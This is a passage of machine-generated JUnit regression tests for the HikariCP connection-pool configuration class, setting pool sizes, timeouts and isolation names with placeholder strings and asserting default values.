org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + false + "'", boolean13 == false);
org.junit.Assert.assertTrue("'" + boolean14 + "' != '" + false + "'", boolean14 == false);
// flaky: org.junit.Assert.assertTrue("'" + long19 + "' != '" + 60L + "'", long19 == 60L);
}
@Test
public void test19184() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19184");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
int int8 = hikariConfig1.getMaximumPoolSize();
java.lang.String str9 = hikariConfig1.getDataSourceClassName();
java.lang.String str10 = hikariConfig1.connectionInitSql;
java.lang.String str11 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.connectionTimeout = 35;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + 60 + "'", int8 == 60);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertNull(str11);
}
@Test
public void test19185() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19185");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.setTransactionIsolation("hi!");
int int6 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.isInitializationFailFast = true;
int int9 = hikariConfig1.maxPoolSize;
java.lang.String str10 = hikariConfig1.connectionInitSql;
java.util.Properties properties11 = hikariConfig1.getDataSourceProperties();
hikariConfig1.setIdleTimeout((long) 'a');
java.lang.String str14 = hikariConfig1.getConnectionCustomizerClassName();
hikariConfig1.setTransactionIsolation("HikariPool-32527");
java.lang.String str17 = hikariConfig1.dataSourceClassName;
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertNotNull(properties11);
org.junit.Assert.assertNull(str14);
org.junit.Assert.assertNull(str17);
}
@Test
public void test19186() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19186");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.connectionInitSql = "hi!";
hikariConfig1.maxPoolSize = (short) -1;
long long8 = hikariConfig1.getAcquireRetryDelay();
hikariConfig1.connectionInitSql = "HikariPool-500";
hikariConfig1.setLeakDetectionThreshold(5000L);
org.junit.Assert.assertTrue("'" + long8 + "' != '" + 0L + "'", long8 == 0L);
}
@Test
public void test19187() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19187");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.setConnectionInitSql("hi!");
long long4 = hikariConfig1.getLeakDetectionThreshold();
int int5 = hikariConfig1.getAcquireRetries();
hikariConfig1.setRegisterMbeans(true);
int int8 = hikariConfig1.getTransactionIsolation();
boolean boolean9 = hikariConfig1.isAutoCommit;
java.lang.String str10 = hikariConfig1.transactionIsolationName;
hikariConfig1.setMaxLifetime((long) 52);
boolean boolean13 = hikariConfig1.isAutoCommit;
javax.sql.DataSource dataSource14 = null;
hikariConfig1.setDataSource(dataSource14);
hikariConfig1.maxPoolSize = (short) 0;
hikariConfig1.setConnectionTestQuery("HikariPool-1367");
org.junit.Assert.assertTrue("'" + long4 + "' != '" + 0L + "'", long4 == 0L);
org.junit.Assert.assertTrue("'" + int5 + "' != '" + 3 + "'", int5 == 3);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + (-1) + "'", int8 == (-1));
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + true + "'", boolean9 == true);
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + true + "'", boolean13 == true);
}
@Test
public void test19188() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19188");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.isRegisterMbeans = true;
java.util.Properties properties10 = null;
com.zaxxer.hikari.HikariConfig hikariConfig11 = new com.zaxxer.hikari.HikariConfig(properties10);
hikariConfig11.leakDetectionThreshold = 100;
hikariConfig11.setTransactionIsolation("hi!");
int int16 = hikariConfig11.getMaximumPoolSize();
hikariConfig1.addDataSourceProperty("HikariPool-249", (java.lang.Object) hikariConfig11);
int int18 = hikariConfig1.minPoolSize;
java.util.Properties properties19 = null;
com.zaxxer.hikari.HikariConfig hikariConfig20 = new com.zaxxer.hikari.HikariConfig(properties19);
hikariConfig20.setConnectionInitSql("hi!");
long long23 = hikariConfig20.getLeakDetectionThreshold();
java.util.Properties properties24 = null;
com.zaxxer.hikari.HikariConfig hikariConfig25 = new com.zaxxer.hikari.HikariConfig(properties24);
int int26 = hikariConfig25.getTransactionIsolation();
hikariConfig25.setRegisterMbeans(false);
java.lang.String str29 = hikariConfig25.transactionIsolationName;
int int30 = hikariConfig25.getMaximumPoolSize();
int int31 = hikariConfig25.transactionIsolation;
java.util.Properties properties32 = hikariConfig25.dataSourceProperties;
hikariConfig20.dataSourceProperties = properties32;
java.util.Properties properties34 = hikariConfig20.getDataSourceProperties();
hikariConfig1.setDataSourceProperties(properties34);
java.lang.String str36 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.isJdbc4connectionTest = false;
int int39 = hikariConfig1.minPoolSize;
long long40 = hikariConfig1.connectionTimeout;
java.lang.String str41 = hikariConfig1.getCatalog();
hikariConfig1.setConnectionInitSql("HikariPool-125");
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 60 + "'", int16 == 60);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + 10 + "'", int18 == 10);
org.junit.Assert.assertTrue("'" + long23 + "' != '" + 0L + "'", long23 == 0L);
org.junit.Assert.assertTrue("'" + int26 + "' != '" + (-1) + "'", int26 == (-1));
org.junit.Assert.assertNull(str29);
org.junit.Assert.assertTrue("'" + int30 + "' != '" + 60 + "'", int30 == 60);
org.junit.Assert.assertTrue("'" + int31 + "' != '" + (-1) + "'", int31 == (-1));
org.junit.Assert.assertNotNull(properties32);
org.junit.Assert.assertNotNull(properties34);
org.junit.Assert.assertNull(str36);
org.junit.Assert.assertTrue("'" + int39 + "' != '" + 10 + "'", int39 == 10);
// flaky: org.junit.Assert.assertTrue("'" + long40 + "' != '" + 10L + "'", long40 == 10L);
org.junit.Assert.assertNull(str41);
}
@Test
public void test19189() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19189");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.setConnectionInitSql("hi!");
boolean boolean4 = hikariConfig1.isInitializationFailFast;
hikariConfig1.poolName = "HikariPool-472";
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
hikariConfig1.dataSourceClassName = "HikariPool-320";
hikariConfig1.setConnectionInitSql("HikariPool-535");
hikariConfig1.isRegisterMbeans = false;
int int14 = hikariConfig1.getMinimumPoolSize();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer15 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer15;
org.junit.Assert.assertTrue("'" + boolean4 + "' != '" + false + "'", boolean4 == false);
org.junit.Assert.assertEquals("'" + str7 + "' != '" + "hi!" + "'", str7, "hi!");
org.junit.Assert.assertTrue("'" + int14 + "' != '" + 10 + "'", int14 == 10);
}
@Test
public void test19190() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19190");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.setTransactionIsolation("");
boolean boolean9 = hikariConfig1.isRegisterMbeans();
hikariConfig1.setDataSourceClassName("HikariPool-173");
hikariConfig1.setInitializationFailFast(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer14 = hikariConfig1.connectionCustomizer;
hikariConfig1.setPoolName("HikariPool-163");
// The following exception was thrown during execution in test generation
try {
hikariConfig1.setAcquireIncrement(10);
// flaky: org.junit.Assert.fail("Expected exception of type java.lang.NullPointerException; message: null");
} catch (java.lang.NullPointerException e) {
// Expected exception.
}
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertNull(iConnectionCustomizer14);
}
@Test
public void test19191() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19191");
com.zaxxer.hikari.HikariConfig hikariConfig0 = new com.zaxxer.hikari.HikariConfig();
java.lang.String str1 = hikariConfig0.catalog;
int int2 = hikariConfig0.getMinimumPoolSize();
hikariConfig0.setMinimumPoolSize((int) 'a');
long long5 = hikariConfig0.maxLifetime;
hikariConfig0.poolName = "HikariPool-1099";
java.lang.String str8 = hikariConfig0.getConnectionTestQuery();
org.junit.Assert.assertNull(str1);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + 10 + "'", int2 == 10);
// flaky: org.junit.Assert.assertTrue("'" + long5 + "' != '" + 35L + "'", long5 == 35L);
org.junit.Assert.assertNull(str8);
}
@Test
public void test19192() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19192");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
boolean boolean9 = hikariConfig1.isRegisterMbeans;
boolean boolean10 = hikariConfig1.isInitializationFailFast;
hikariConfig1.isRegisterMbeans = false;
hikariConfig1.setIdleTimeout(1L);
hikariConfig1.setPoolName("HikariPool-87");
java.lang.String str17 = hikariConfig1.catalog;
java.util.Properties properties18 = hikariConfig1.dataSourceProperties;
boolean boolean19 = hikariConfig1.isRegisterMbeans();
hikariConfig1.setTransactionIsolation("HikariPool-138");
hikariConfig1.maxPoolSize = 87;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + false + "'", boolean10 == false);
org.junit.Assert.assertNull(str17);
org.junit.Assert.assertNotNull(properties18);
org.junit.Assert.assertTrue("'" + boolean19 + "' != '" + false + "'", boolean19 == false);
}
@Test
public void test19193() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19193");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.connectionInitSql = "hi!";
hikariConfig1.maxPoolSize = (short) -1;
java.lang.String str8 = hikariConfig1.getPoolName();
boolean boolean9 = hikariConfig1.isRegisterMbeans();
hikariConfig1.setUseInstrumentation(true);
long long12 = hikariConfig1.getAcquireRetryDelay();
int int13 = hikariConfig1.maxPoolSize;
hikariConfig1.acquireRetries = 97;
long long16 = hikariConfig1.getIdleTimeout();
java.util.Properties properties17 = hikariConfig1.getDataSourceProperties();
boolean boolean18 = hikariConfig1.isAutoCommit();
// flaky: org.junit.Assert.assertEquals("'" + str8 + "' != '" + "HikariPool-50878" + "'", str8, "HikariPool-50878");
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertTrue("'" + long12 + "' != '" + 0L + "'", long12 == 0L);
org.junit.Assert.assertTrue("'" + int13 + "' != '" + (-1) + "'", int13 == (-1));
// flaky: org.junit.Assert.assertTrue("'" + long16 + "' != '" + 60L + "'", long16 == 60L);
org.junit.Assert.assertNotNull(properties17);
org.junit.Assert.assertTrue("'" + boolean18 + "' != '" + true + "'", boolean18 == true);
}
@Test
public void test19194() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19194");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
boolean boolean4 = hikariConfig1.isJdbc4ConnectionTest();
boolean boolean5 = hikariConfig1.isJdbc4connectionTest;
long long6 = hikariConfig1.getAcquireRetryDelay();
hikariConfig1.connectionCustomizerClassName = "HikariPool-6";
hikariConfig1.setDataSourceClassName("HikariPool-671");
hikariConfig1.leakDetectionThreshold = 3L;
int int13 = hikariConfig1.transactionIsolation;
org.junit.Assert.assertTrue("'" + boolean4 + "' != '" + true + "'", boolean4 == true);
org.junit.Assert.assertTrue("'" + boolean5 + "' != '" + true + "'", boolean5 == true);
org.junit.Assert.assertTrue("'" + long6 + "' != '" + 0L + "'", long6 == 0L);
org.junit.Assert.assertTrue("'" + int13 + "' != '" + (-1) + "'", int13 == (-1));
}
@Test
public void test19195() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19195");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
hikariConfig1.maxLifetime = '#';
int int11 = hikariConfig1.transactionIsolation;
javax.sql.DataSource dataSource12 = hikariConfig1.getDataSource();
long long13 = hikariConfig1.getConnectionTimeout();
hikariConfig1.setCatalog("HikariPool-7804");
int int16 = hikariConfig1.getTransactionIsolation();
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + (-1) + "'", int11 == (-1));
org.junit.Assert.assertNull(dataSource12);
// flaky: org.junit.Assert.assertTrue("'" + long13 + "' != '" + 10L + "'", long13 == 10L);
org.junit.Assert.assertTrue("'" + int16 + "' != '" + (-1) + "'", int16 == (-1));
}
@Test
public void test19196() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19196");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
boolean boolean9 = hikariConfig1.isRegisterMbeans;
javax.sql.DataSource dataSource10 = hikariConfig1.getDataSource();
hikariConfig1.setMaxLifetime((long) 3);
boolean boolean13 = hikariConfig1.isInitializationFailFast();
java.lang.String str14 = hikariConfig1.getConnectionCustomizerClassName();
javax.sql.DataSource dataSource15 = null;
hikariConfig1.dataSource = dataSource15;
int int17 = hikariConfig1.getMaximumPoolSize();
long long18 = hikariConfig1.getIdleTimeout();
java.lang.String str19 = hikariConfig1.dataSourceClassName;
java.lang.String str20 = hikariConfig1.transactionIsolationName;
int int21 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setMinimumPoolSize((int) (byte) 0);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertNull(dataSource10);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + false + "'", boolean13 == false);
org.junit.Assert.assertNull(str14);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + 60 + "'", int17 == 60);
// flaky: org.junit.Assert.assertTrue("'" + long18 + "' != '" + 60L + "'", long18 == 60L);
org.junit.Assert.assertNull(str19);
org.junit.Assert.assertNull(str20);
org.junit.Assert.assertTrue("'" + int21 + "' != '" + (-1) + "'", int21 == (-1));
}
@Test
public void test19197() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19197");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.setTransactionIsolation("");
java.util.Properties properties9 = null;
com.zaxxer.hikari.HikariConfig hikariConfig10 = new com.zaxxer.hikari.HikariConfig(properties9);
int int11 = hikariConfig10.getTransactionIsolation();
hikariConfig10.setRegisterMbeans(false);
hikariConfig10.isInitializationFailFast = true;
int int16 = hikariConfig10.acquireRetries;
hikariConfig10.setMaxLifetime((long) (-1));
int int19 = hikariConfig10.getTransactionIsolation();
java.util.Properties properties20 = null;
com.zaxxer.hikari.HikariConfig hikariConfig21 = new com.zaxxer.hikari.HikariConfig(properties20);
int int22 = hikariConfig21.getTransactionIsolation();
hikariConfig21.setRegisterMbeans(false);
java.lang.String str25 = hikariConfig21.transactionIsolationName;
int int26 = hikariConfig21.getMaximumPoolSize();
int int27 = hikariConfig21.transactionIsolation;
java.util.Properties properties28 = hikariConfig21.dataSourceProperties;
hikariConfig10.setDataSourceProperties(properties28);
hikariConfig1.dataSourceProperties = properties28;
com.zaxxer.hikari.HikariConfig hikariConfig31 = new com.zaxxer.hikari.HikariConfig(properties28);
java.lang.String str32 = hikariConfig31.connectionInitSql;
hikariConfig31.setIdleTimeout((long) (byte) -1);
hikariConfig31.catalog = "HikariPool-59";
hikariConfig31.setCatalog("HikariPool-222");
hikariConfig31.setMinimumPoolSize(87);
hikariConfig31.setAcquireRetries(0);
hikariConfig31.isInitializationFailFast = false;
int int45 = hikariConfig31.getAcquireIncrement();
java.lang.String str46 = hikariConfig31.getConnectionCustomizerClassName();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int11 + "' != '" + (-1) + "'", int11 == (-1));
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 3 + "'", int16 == 3);
org.junit.Assert.assertTrue("'" + int19 + "' != '" + (-1) + "'", int19 == (-1));
org.junit.Assert.assertTrue("'" + int22 + "' != '" + (-1) + "'", int22 == (-1));
org.junit.Assert.assertNull(str25);
org.junit.Assert.assertTrue("'" + int26 + "' != '" + 60 + "'", int26 == 60);
org.junit.Assert.assertTrue("'" + int27 + "' != '" + (-1) + "'", int27 == (-1));
org.junit.Assert.assertNotNull(properties28);
org.junit.Assert.assertNull(str32);
org.junit.Assert.assertTrue("'" + int45 + "' != '" + 0 + "'", int45 == 0);
org.junit.Assert.assertNull(str46);
}
@Test
public void test19198() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19198");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getTransactionIsolation();
hikariConfig1.isRegisterMbeans = false;
boolean boolean9 = hikariConfig1.isRegisterMbeans();
long long10 = hikariConfig1.connectionTimeout;
hikariConfig1.setJdbc4ConnectionTest(true);
javax.sql.DataSource dataSource13 = hikariConfig1.getDataSource();
hikariConfig1.setMaximumPoolSize(3);
hikariConfig1.isAutoCommit = true;
long long18 = hikariConfig1.getIdleTimeout();
int int19 = hikariConfig1.getMinimumPoolSize();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 10L + "'", long10 == 10L);
org.junit.Assert.assertNull(dataSource13);
// flaky: org.junit.Assert.assertTrue("'" + long18 + "' != '" + 60L + "'", long18 == 60L);
org.junit.Assert.assertTrue("'" + int19 + "' != '" + 10 + "'", int19 == 10);
}
@Test
public void test19199() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19199");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
hikariConfig1.isAutoCommit = true;
long long10 = hikariConfig1.getIdleTimeout();
hikariConfig1.setMaximumPoolSize((int) 'a');
hikariConfig1.setMinimumPoolSize(0);
long long15 = hikariConfig1.connectionTimeout;
hikariConfig1.connectionTestQuery = "HikariPool-719";
int int18 = hikariConfig1.minPoolSize;
int int19 = hikariConfig1.getMaximumPoolSize();
java.lang.String str20 = hikariConfig1.transactionIsolationName;
int int21 = hikariConfig1.getAcquireIncrement();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 60L + "'", long10 == 60L);
// flaky: org.junit.Assert.assertTrue("'" + long15 + "' != '" + 10L + "'", long15 == 10L);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + 0 + "'", int18 == 0);
org.junit.Assert.assertTrue("'" + int19 + "' != '" + 97 + "'", int19 == 97);
org.junit.Assert.assertNull(str20);
org.junit.Assert.assertTrue("'" + int21 + "' != '" + 0 + "'", int21 == 0);
}
@Test
public void test19200() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19200");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.minPoolSize = (byte) 1;
hikariConfig1.catalog = "";
boolean boolean8 = hikariConfig1.isRegisterMbeans;
java.lang.String str9 = hikariConfig1.transactionIsolationName;
hikariConfig1.isJdbc4connectionTest = true;
java.util.Properties properties13 = null;
com.zaxxer.hikari.HikariConfig hikariConfig14 = new com.zaxxer.hikari.HikariConfig(properties13);
hikariConfig14.leakDetectionThreshold = 100;
hikariConfig14.setTransactionIsolation("hi!");
int int19 = hikariConfig14.getMaximumPoolSize();
hikariConfig14.setRegisterMbeans(false);
hikariConfig1.addDataSourceProperty("HikariPool-112", (java.lang.Object) hikariConfig14);
boolean boolean23 = hikariConfig1.isRegisterMbeans;
hikariConfig1.setDataSourceClassName("HikariPool-451");
hikariConfig1.catalog = "HikariPool-308";
boolean boolean28 = hikariConfig1.isAutoCommit;
hikariConfig1.setTransactionIsolation("HikariPool-387");
int int31 = hikariConfig1.maxPoolSize;
java.util.Properties properties32 = hikariConfig1.getDataSourceProperties();
org.junit.Assert.assertTrue("'" + boolean8 + "' != '" + false + "'", boolean8 == false);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertTrue("'" + int19 + "' != '" + 60 + "'", int19 == 60);
org.junit.Assert.assertTrue("'" + boolean23 + "' != '" + false + "'", boolean23 == false);
org.junit.Assert.assertTrue("'" + boolean28 + "' != '" + true + "'", boolean28 == true);
org.junit.Assert.assertTrue("'" + int31 + "' != '" + 60 + "'", int31 == 60);
org.junit.Assert.assertNotNull(properties32);
}
@Test
public void test19201() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19201");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
int int9 = hikariConfig1.maxPoolSize;
hikariConfig1.idleTimeout = (byte) -1;
long long12 = hikariConfig1.getMaxLifetime();
hikariConfig1.setConnectionCustomizerClassName("HikariPool-354");
boolean boolean15 = hikariConfig1.isAutoCommit();
hikariConfig1.setTransactionIsolation("HikariPool-1034");
java.lang.String str18 = hikariConfig1.connectionInitSql;
hikariConfig1.connectionTestQuery = "HikariPool-37559";
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
// flaky: org.junit.Assert.assertTrue("'" + long12 + "' != '" + 35L + "'", long12 == 35L);
org.junit.Assert.assertTrue("'" + boolean15 + "' != '" + true + "'", boolean15 == true);
org.junit.Assert.assertNull(str18);
}
@Test
public void test19202() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19202");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isRegisterMbeans = false;
hikariConfig1.setConnectionInitSql("HikariPool-780");
hikariConfig1.maxLifetime = 10;
java.lang.String str12 = hikariConfig1.getConnectionTestQuery();
java.util.Properties properties13 = hikariConfig1.getDataSourceProperties();
java.lang.String str14 = hikariConfig1.dataSourceClassName;
org.junit.Assert.assertNull(str12);
org.junit.Assert.assertNotNull(properties13);
org.junit.Assert.assertNull(str14);
}
@Test
public void test19203() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19203");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.connectionInitSql = "hi!";
hikariConfig1.maxPoolSize = (short) -1;
java.lang.String str8 = hikariConfig1.getPoolName();
long long9 = hikariConfig1.getConnectionTimeout();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer10 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer10;
java.lang.String str12 = hikariConfig1.connectionInitSql;
// flaky: org.junit.Assert.assertEquals("'" + str8 + "' != '" + "HikariPool-50895" + "'", str8, "HikariPool-50895");
// flaky: org.junit.Assert.assertTrue("'" + long9 + "' != '" + 10L + "'", long9 == 10L);
org.junit.Assert.assertEquals("'" + str12 + "' != '" + "hi!" + "'", str12, "hi!");
}
@Test
public void test19204() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19204");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
int int3 = hikariConfig1.getAcquireIncrement();
int int4 = hikariConfig1.getAcquireIncrement();
java.util.Properties properties5 = hikariConfig1.dataSourceProperties;
com.zaxxer.hikari.HikariConfig hikariConfig6 = new com.zaxxer.hikari.HikariConfig(properties5);
int int7 = hikariConfig6.getMaximumPoolSize();
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertTrue("'" + int3 + "' != '" + 0 + "'", int3 == 0);
org.junit.Assert.assertTrue("'" + int4 + "' != '" + 0 + "'", int4 == 0);
